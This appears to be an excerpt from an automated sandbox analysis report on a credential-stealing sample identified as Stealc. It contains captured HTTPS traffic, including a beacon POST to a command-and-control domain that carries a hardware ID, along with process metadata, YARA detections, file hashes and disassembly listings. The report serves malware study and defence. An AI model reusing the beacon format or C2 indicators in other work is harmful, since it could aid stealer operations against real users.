2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 0f 4d 3c 8c aa fc 94 50 1c bf 2b b9 41 f5 ae 69 70 5a 61 55 e6 3e 9c 55 0a a3 62 55 20 c6 c1 77 1c df d1 43 eb e9 a7 0b d5 f1 d7 68 5a 53 da af e6 9f ac 91 c3 e1 25 d3 69 85 83 2d e6 41 8c e6 a2 63 eb 13 e7 be 73 a3 8c a3 01 08 2b 7a f9 ad c6 f5 7f 47 e5 d7 11 74 69 c2 80 38 80 e1 f0 9d 09 d2 5e ed 58 67 ea 3b 40 e6 65 1f 4b 4e 4d 81 f1 9b 8b b2 9a 05 bf f8 e9 81 ff 9c 22 7d 0e 4b 0a 51 17 8d 60 58 49 90 9d 88 73 ed a6 a8 ee 48 fa 59 54 aa 1f 1b ff 07 dd 1f 05 b6 44 d9 ed 52 92 01 1d 75 a7 57 95 14 fe 39 93 1a c7 3c ed f0 33 52 58 e6 80 e0 37 45 f9 74 aa ff f6 e9 8a 71 23 34 97 ad a6 6d 59 82 9c 03 d5 bd f8 b4 1b 68 c1 d6 31 7a 6b 19 90 5a 45 4f 9a f5 a7 78 93 5a 78 7f 9f ae 71 51 5d 6a d2 a3 ea ee ff 6d 97 9d 91 80 d6 12 89 9f 9c 5f a8 11 b2 c0 12 9c e1 Data Ascii: M<P+AipZaU>UbU wChZS%i-Acs+zGti8^Xg;@eKNM"}KQ`XIsHYTDRuW9<3RX7Etq#4mYh1zkZEOxZxqQ]jm_
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 11 86 05 0a f4 21 c1 58 23 d9 4c f9 61 85 e7 f4 12 2c be 31 47 73 cd 5d 28 51 0a e7 24 75 0c 58 61 c9 98 b9 c3 0d 43 6d d0 db da 7b 13 0e b1 06 6d 3b bd 68 76 ad 1d 62 7b 2a ba c5 61 27 16 84 c8 f9 65 13 ce 26 d1 54 5d 8d 92 ed a5 80 39 4b d9 e0 69 b6 90 28 21 53 67 f3 d6 49 0f 70 d1 32 b3 6c 49 14 70 9d ee f7 ae 91 46 fa 40 6f c6 26 cb f5 6d 08 f5 75 aa 26 94 61 6a ac bf 8d 5f 2e 22 17 5c 08 fa f2 43 f8 a6 d2 3e d6 cf 47 54 54 94 fa 01 9e 2d 34 bb 7d 67 40 11 53 a5 f2 2a 4a f7 17 8a bf 20 76 04 8f a8 fa 20 05 a3 22 a3 e3 74 44 4e ec a4 64 38 14 0e f6 47 8d 54 05 80 7d 13 6c 1e b0 87 c5 fd 67 f1 c9 05 dc ed 9c 66 4f 64 3e e1 df 19 77 7d 8d 31 34 b6 5c 3d da cf 2f c4 19 e7 e4 b7 1c d8 46 06 ad 25 1d 8c 9b 37 08 ed 31 9d c8 db f4 9b f0 66 f9 31 c7 64 38 a5 Data Ascii: !X#La,1Gs](Q$uXaCm{m;hvb{a'e&T]9Ki(!SgIp2lIpF@o&mu&aj_."\C>GTT-4}g@SJ v "tDNd8GT}lgfOd>w}14\=/F%71f1d8
2024-12-23 08:00:32 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=27egesu4299c85doeev3vi428i; expires=Fri, 18 Apr 2025 01:47:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4YC1tIGS8wkPMWxQOq%2BmhD11zx1XOyztTKqjT%2BPIXFgr3Tcch4CDRxNg39xgVHrR0uet8mWDQDvFCYUAMQP4GXhs4i4h5XfrOp4lEM8BWNZNjE91vkNFNk04YeomqpV9GAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d17c3c7ac32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1464&rtt_var=564&sent=347&recv=592&lost=0&retrans=0&sent_bytes=2835&recv_bytes=574707&delivery_rate=1916010&cwnd=178&unsent_bytes=0&cid=582c29a728bf04f2&ts=2375&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49788	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: lev-tolstoi.com
2024-12-23 08:00:33 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=1266A094DC1D7341AC8923850305D13E
2024-12-23 08:00:34 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gtsnh422kn43fba61u6v8s2lpe; expires=Fri, 18 Apr 2025 01:47:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bbW%2BbtvNCWgMW4N0G%2FvFYLLlN7rrB9ibAF49Ciw8ZtNYahnGtlM8LTsAmWLvHPcWEt44spVzCnX%2FmDKy4cOVZKQezwB1KVlv4%2FJKbkA%2FhVfKTmL90xbCdnEtWC2uNSY1f6w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d1939fe542e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1551&rtt_var=595&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=981&delivery_rate=1817050&cwnd=241&unsent_bytes=0&cid=2414fa86a60b3373&ts=779&x=0"
2024-12-23 08:00:34 UTC	214	IN	Data Raw: 64 30 0d 0a 4f 37 2f 65 38 41 32 44 54 34 41 63 73 5a 55 79 6a 73 59 6f 34 45 71 35 50 36 6d 42 49 4a 54 38 31 59 6a 7a 78 71 66 79 69 46 70 67 78 50 79 46 4c 37 6c 74 36 47 6a 46 35 51 6a 53 36 58 54 50 65 34 45 4b 68 37 4d 52 6f 64 4c 6b 75 63 44 6f 6c 73 54 55 64 56 54 5a 75 4b 77 69 35 79 72 6d 4d 74 54 74 56 36 7a 71 43 6f 59 2b 6d 77 57 5a 72 51 4c 78 33 75 2b 34 6a 75 72 63 30 50 31 34 41 5a 32 32 68 48 6e 7a 64 64 77 7a 37 62 6f 44 74 76 4d 47 30 6e 75 4d 45 5a 69 77 45 37 72 4e 34 39 54 63 74 64 4f 58 36 54 64 6e 6b 4b 79 52 59 2b 63 67 37 54 4c 55 37 56 65 73 36 67 71 47 50 70 73 46 6d 61 30 43 38 64 37 76 75 49 36 62 0d 0a Data Ascii: d0O7/e8A2DT4AcsZUyjsYo4Eq5P6mBIJT81YjzxqfyiFpgxPyFL7lt6GjF5QjS6XTPe4EKh7MRodLkucDolsTUdVTZuKwi5yrmMtTtV6zqCoY+mwWZrQLx3u+4jurc0P14AZ22hHnzddwz7boDtvMG0nuMEZiwE7rN49TctdOX6TdnkKyRY+cg7TLU7Ves6gqGPpsFma0C8d7vuI6b
2024-12-23 08:00:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	03:00:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\BVGvbpplT8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BVGvbpplT8.exe"
Imagebase:	0xf10000
File size:	1'874'432 bytes
MD5 hash:	6CC52EB35F095E2A0E4DF669C998AF29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2348831866.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:00:41
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe"
Imagebase:	0x450000
File size:	2'765'312 bytes
MD5 hash:	579641D4119C3977AA3E5FDCBB740D8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:00:46
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe"
Imagebase:	0x450000
File size:	2'835'456 bytes
MD5 hash:	59729E914FA8E15D347129643C03AC1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2625371744.0000000000451000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2570990607.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 05BE2D3F Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

ncalrpc, xrefs: 05BE2E1A

Memory Dump Source

Source File: 00000001.00000003.2386707645.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, Offset: 05BDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5bdd000_BVGvbpplT8.jbxd

Similarity

API ID:
String ID: ncalrpc
API String ID: 0-2983622238
Opcode ID: ef42868f681d12c2e8d187c588cae5c28e9fe3f3a87fa32b592a74925ac62213
Instruction ID: f2f6817c74efd83a312ea46cbf03873f62af451983c5a9c222461ea10c691bdd
Opcode Fuzzy Hash: ef42868f681d12c2e8d187c588cae5c28e9fe3f3a87fa32b592a74925ac62213
Instruction Fuzzy Hash: 2FF141A284E7C14FD70387748869291BFB1AF23250B1F15EBC484EF1E3E2596D4AC762

Function 00CFD390 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CF7000, based on PE: false

Associated: 00000001.00000003.2467790172.0000000000D41000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cf7000_BVGvbpplT8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2532f3e8e5184947685cda8b0bc2a777a5274c732c5a4e4e3015490cbbc31f
Instruction ID: 435ecdf9650be223c102fafa1cfd552dc41dde7d168d266bf175d2b82f5bf8f0
Opcode Fuzzy Hash: 8d2532f3e8e5184947685cda8b0bc2a777a5274c732c5a4e4e3015490cbbc31f
Instruction Fuzzy Hash: A2A16AA104D3C91FC7678B704D7A8A1BF626D1321431D86CFC5D64F8A3D368A94AD367

Function 00CFD390 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, Offset: 00CF6000, based on PE: false

Associated: 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_cf7000_BVGvbpplT8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2532f3e8e5184947685cda8b0bc2a777a5274c732c5a4e4e3015490cbbc31f
Instruction ID: 435ecdf9650be223c102fafa1cfd552dc41dde7d168d266bf175d2b82f5bf8f0
Opcode Fuzzy Hash: 8d2532f3e8e5184947685cda8b0bc2a777a5274c732c5a4e4e3015490cbbc31f
Instruction Fuzzy Hash: A2A16AA104D3C91FC7678B704D7A8A1BF626D1321431D86CFC5D64F8A3D368A94AD367

Analysis Process: 44WNAJWW05E0258PKFVID8DSXYO93MX.exePID: 7868, Parent PID: 4060COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	29%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 005D89CE Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EC467FF7,?), ref: 005D8A22

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction ID: 89e691c94e2e449954a35110b2396170bb0b39950788c36008d55a08a7cc1694
Opcode Fuzzy Hash: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction Fuzzy Hash: C3F08CB301C2496FE328DF199800EBEB798EA84230F75450FE88093601DA356D048B79

Function 0045B96C Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651327752.0000000000692000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651350055.0000000000694000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651368906.0000000000695000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651393710.0000000000698000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651416801.00000000006A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651442425.00000000006A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651479649.00000000006DD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651506349.00000000006DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651529496.00000000006E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651577945.00000000006F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651600321.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction ID: 3afabc868adb2d086a08b0037b2432645bab5c0ff1da823ba8671e61fc8cd53a
Opcode Fuzzy Hash: 7d16936487a9306aa7f1cffd9fa777b207ed5df1b54463522fede65cc313bda8
Instruction Fuzzy Hash: 36A002B128D181D88112A3B651215287A70C85A786B26084BAFC68A103CB0D404D57FF

Function 005E2E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 005E45D0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 005E45F7
GetNativeSystemInfo.KERNELBASE(?), ref: 005E464E

Memory Dump Source

Source File: 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmp, Offset: 00450000, based on PE: true

Associated: 0000000D.00000002.2650197484.0000000000450000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650233519.0000000000452000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650281766.0000000000456000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650308593.000000000045A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650342285.0000000000464000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650367632.0000000000465000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650392648.0000000000466000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650521613.00000000005B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650543231.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650571909.00000000005D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650597487.00000000005D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650616196.00000000005D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650666977.00000000005E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650690539.00000000005E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650718801.00000000005F2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650744249.00000000005F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650772809.000000000060F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650841729.000000000062E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650871846.0000000000632000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650893178.0000000000633000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650918578.0000000000635000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650946547.0000000000641000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650971677.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2650996271.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651019009.0000000000650000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651044791.0000000000651000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651077986.0000000000655000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651106370.0000000000667000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651165184.000000000066A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651187508.000000000066B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651211022.0000000000672000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651236754.000000000067A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651260788.000000000067B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651283421.000000000067C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2651304817.0000000000683000.00000040.00000001.01000000.00000006.sdmpDownload File
